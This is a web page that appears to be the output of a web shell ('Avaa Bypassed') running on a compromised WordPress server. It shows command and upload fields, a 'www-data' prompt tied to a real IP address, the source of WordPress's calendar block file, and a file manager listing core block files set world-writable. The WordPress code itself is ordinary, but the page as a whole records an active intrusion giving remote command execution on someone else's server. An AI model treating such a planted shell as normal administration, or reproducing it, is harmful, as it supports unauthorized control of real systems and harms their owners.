[ Avaa Bypassed ]




Upload:

Command:

www-data@52.15.123.168: ~ $
<?php
/**
 * Server-side rendering of the `core/calendar` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/calendar` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the block content.
 */
function render_block_core_calendar( $attributes ) {
	global $monthnum, $year;

	// Calendar shouldn't be rendered
	// when there are no published posts on the site.
	if ( ! block_core_calendar_has_published_posts() ) {
		if ( is_user_logged_in() ) {
			return '<div>' . __( 'The calendar block is hidden because there are no published posts.' ) . '</div>';
		}
		return '';
	}

	$previous_monthnum = $monthnum;
	$previous_year     = $year;

	if ( isset( $attributes['month'] ) && isset( $attributes['year'] ) ) {
		$permalink_structure = get_option( 'permalink_structure' );
		if (
			str_contains( $permalink_structure, '%monthnum%' ) &&
			str_contains( $permalink_structure, '%year%' )
		) {
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
			$monthnum = $attributes['month'];
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
			$year = $attributes['year'];
		}
	}

	$color_block_styles = array();

	// Text color.
	$preset_text_color          = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null;
	$custom_text_color          = $attributes['style']['color']['text'] ?? null;
	$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;

	// Background Color.
	$preset_background_color          = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null;
	$custom_background_color          = $attributes['style']['color']['background'] ?? null;
	$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;

	// Generate color styles and classes.
	$styles        = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );
	$inline_styles = empty( $styles['css'] ) ? '' : sprintf( ' style="%s"', esc_attr( $styles['css'] ) );
	$classnames    = empty( $styles['classnames'] ) ? '' : ' ' . esc_attr( $styles['classnames'] );
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classnames .= ' has-link-color';
	}
	// Apply color classes and styles to the calendar.
	$calendar = str_replace( '<table', '<table' . $inline_styles, get_calendar( true, false ) );
	$calendar = str_replace( 'class="wp-calendar-table', 'class="wp-calendar-table' . $classnames, $calendar );

	$wrapper_attributes = get_block_wrapper_attributes();
	$output             = sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$calendar
	);

	// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
	$monthnum = $previous_monthnum;
	// phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited
	$year = $previous_year;

	return $output;
}

/**
 * Registers the `core/calendar` block on server.
 */
function register_block_core_calendar() {
	register_block_type_from_metadata(
		__DIR__ . '/calendar',
		array(
			'render_callback' => 'render_block_core_calendar',
		)
	);
}

add_action( 'init', 'register_block_core_calendar' );

/**
 * Returns whether or not there are any published posts.
 *
 * Used to hide the calendar block when there are no published posts.
 * This compensates for a known Core bug: https://core.trac.wordpress.org/ticket/12016
 *
 * @return bool Has any published posts or not.
 */
function block_core_calendar_has_published_posts() {
	// Multisite already has an option that stores the count of the published posts.
	// Let's use that for multisites.
	if ( is_multisite() ) {
		return 0 < (int) get_option( 'post_count' );
	}

	// On single sites we try our own cached option first.
	$has_published_posts = get_option( 'wp_calendar_block_has_published_posts', null );
	if ( null !== $has_published_posts ) {
		return (bool) $has_published_posts;
	}

	// No cache hit, let's update the cache and return the cached value.
	return block_core_calendar_update_has_published_posts();
}

/**
 * Queries the database for any published post and saves
 * a flag whether any published post exists or not.
 *
 * @return bool Has any published posts or not.
 */
function block_core_calendar_update_has_published_posts() {
	global $wpdb;
	$has_published_posts = (bool) $wpdb->get_var( "SELECT 1 as test FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" );
	update_option( 'wp_calendar_block_has_published_posts', $has_published_posts );
	return $has_published_posts;
}

// We only want to register these functions and actions when
// we are on single sites. On multi sites we use `post_count` option.
if ( ! is_multisite() ) {
	/**
	 * Handler for updating the has published posts flag when a post is deleted.
	 *
	 * @param int $post_id Deleted post ID.
	 */
	function block_core_calendar_update_has_published_post_on_delete( $post_id ) {
		$post = get_post( $post_id );

		if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
			return;
		}

		block_core_calendar_update_has_published_posts();
	}

	/**
	 * Handler for updating the has published posts flag when a post status changes.
	 *
	 * @param string  $new_status The status the post is changing to.
	 * @param string  $old_status The status the post is changing from.
	 * @param WP_Post $post       Post object.
	 */
	function block_core_calendar_update_has_published_post_on_transition_post_status( $new_status, $old_status, $post ) {
		if ( $new_status === $old_status ) {
			return;
		}

		if ( 'post' !== get_post_type( $post ) ) {
			return;
		}

		if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
			return;
		}

		block_core_calendar_update_has_published_posts();
	}

	add_action( 'delete_post', 'block_core_calendar_update_has_published_post_on_delete' );
	add_action( 'transition_post_status', 'block_core_calendar_update_has_published_post_on_transition_post_status', 10, 3 );
}

Filemanager

Name Type Size Permission Actions
archives Folder 0777
audio Folder 0777
avatar Folder 0777
block Folder 0777
button Folder 0777
buttons Folder 0777
calendar Folder 0777
categories Folder 0777
code Folder 0777
column Folder 0777
columns Folder 0777
comment-author-name Folder 0777
comment-content Folder 0777
comment-date Folder 0777
comment-edit-link Folder 0777
comment-reply-link Folder 0777
comment-template Folder 0777
comments Folder 0777
comments-pagination Folder 0777
comments-pagination-next Folder 0777
comments-pagination-numbers Folder 0777
comments-pagination-previous Folder 0777
comments-title Folder 0777
cover Folder 0777
details Folder 0777
embed Folder 0777
file Folder 0777
footnotes Folder 0777
freeform Folder 0777
gallery Folder 0777
group Folder 0777
heading Folder 0777
home-link Folder 0777
html Folder 0777
image Folder 0777
latest-comments Folder 0777
latest-posts Folder 0777
legacy-widget Folder 0777
list Folder 0777
list-item Folder 0777
loginout Folder 0777
media-text Folder 0777
missing Folder 0777
more Folder 0777
navigation Folder 0777
navigation-link Folder 0777
navigation-submenu Folder 0777
nextpage Folder 0777
page-list Folder 0777
page-list-item Folder 0777
paragraph Folder 0777
pattern Folder 0777
post-author Folder 0777
post-author-biography Folder 0777
post-author-name Folder 0777
post-comments-form Folder 0777
post-content Folder 0777
post-date Folder 0777
post-excerpt Folder 0777
post-featured-image Folder 0777
post-navigation-link Folder 0777
post-template Folder 0777
post-terms Folder 0777
post-title Folder 0777
preformatted Folder 0777
pullquote Folder 0777
query Folder 0777
query-no-results Folder 0777
query-pagination Folder 0777
query-pagination-next Folder 0777
query-pagination-numbers Folder 0777
query-pagination-previous Folder 0777
query-title Folder 0777
quote Folder 0777
read-more Folder 0777
rss Folder 0777
search Folder 0777
separator Folder 0777
shortcode Folder 0777
site-logo Folder 0777
site-tagline Folder 0777
site-title Folder 0777
social-link Folder 0777
social-links Folder 0777
spacer Folder 0777
table Folder 0777
tag-cloud Folder 0777
template-part Folder 0777
term-description Folder 0777
text-columns Folder 0777
verse Folder 0777
video Folder 0777
widget-group Folder 0777
archives.php File 2.89 KB 0777
avatar.php File 5.51 KB 0777
block.php File 1.57 KB 0777
blocks-json.php File 159.82 KB 0777
calendar.php File 5.99 KB 0777
categories.php File 2.78 KB 0777
comment-author-name.php File 2.05 KB 0777
comment-content.php File 2.36 KB 0777
comment-date.php File 1.56 KB 0777
comment-edit-link.php File 1.64 KB 0777
comment-reply-link.php File 1.99 KB 0777
comment-template.php File 4.35 KB 0777
comments-pagination-next.php File 1.81 KB 0777
comments-pagination-numbers.php File 1.56 KB 0777
comments-pagination-previous.php File 1.61 KB 0777
comments-pagination.php File 1.13 KB 0777
comments-title.php File 2.67 KB 0777
comments.php File 6.47 KB 0777
cover.php File 2.45 KB 0777
file.php File 3.26 KB 0777
footnotes.php File 3.03 KB 0777
gallery.php File 4.84 KB 0777
heading.php File 1.23 KB 0777
home-link.php File 5.19 KB 0777
image.php File 14.36 KB 0777
index.php File 4.48 KB 0777
latest-comments.php File 4.88 KB 0777
latest-posts.php File 8.17 KB 0777
legacy-widget.php File 3.81 KB 0777
loginout.php File 1.35 KB 0777
navigation-link.php File 11.65 KB 0777
navigation-submenu.php File 8.81 KB 0777
navigation.php File 37.31 KB 0777
page-list-item.php File 342 B 0777
page-list.php File 13.14 KB 0777
pattern.php File 1.4 KB 0777
post-author-biography.php File 1.41 KB 0777
post-author-name.php File 1.71 KB 0777
post-author.php File 2.51 KB 0777
post-comments-form.php File 2.68 KB 0777
post-content.php File 2.07 KB 0777
post-date.php File 2.29 KB 0777
post-excerpt.php File 3.33 KB 0777
post-featured-image.php File 7.37 KB 0777
post-navigation-link.php File 4.38 KB 0777
post-template.php File 5.52 KB 0777
post-terms.php File 3.31 KB 0777
post-title.php File 2.02 KB 0777
query-no-results.php File 1.71 KB 0777
query-pagination-next.php File 3.6 KB 0777
query-pagination-numbers.php File 4.41 KB 0777
query-pagination-previous.php File 3.05 KB 0777
query-pagination.php File 1.11 KB 0777
query-title.php File 2.01 KB 0777
query.php File 7.16 KB 0777
read-more.php File 1.75 KB 0777
require-dynamic-blocks.php File 3.85 KB 0777
require-static-blocks.php File 536 B 0777
rss.php File 3.83 KB 0777
search.php File 23.94 KB 0777
shortcode.php File 697 B 0777
site-logo.php File 5.79 KB 0777
site-tagline.php File 994 B 0777
site-title.php File 1.73 KB 0777
social-link.php File 60.44 KB 0777
tag-cloud.php File 1.37 KB 0777
template-part.php File 9.5 KB 0777
term-description.php File 1.27 KB 0777
widget-group.php File 2.12 KB 0777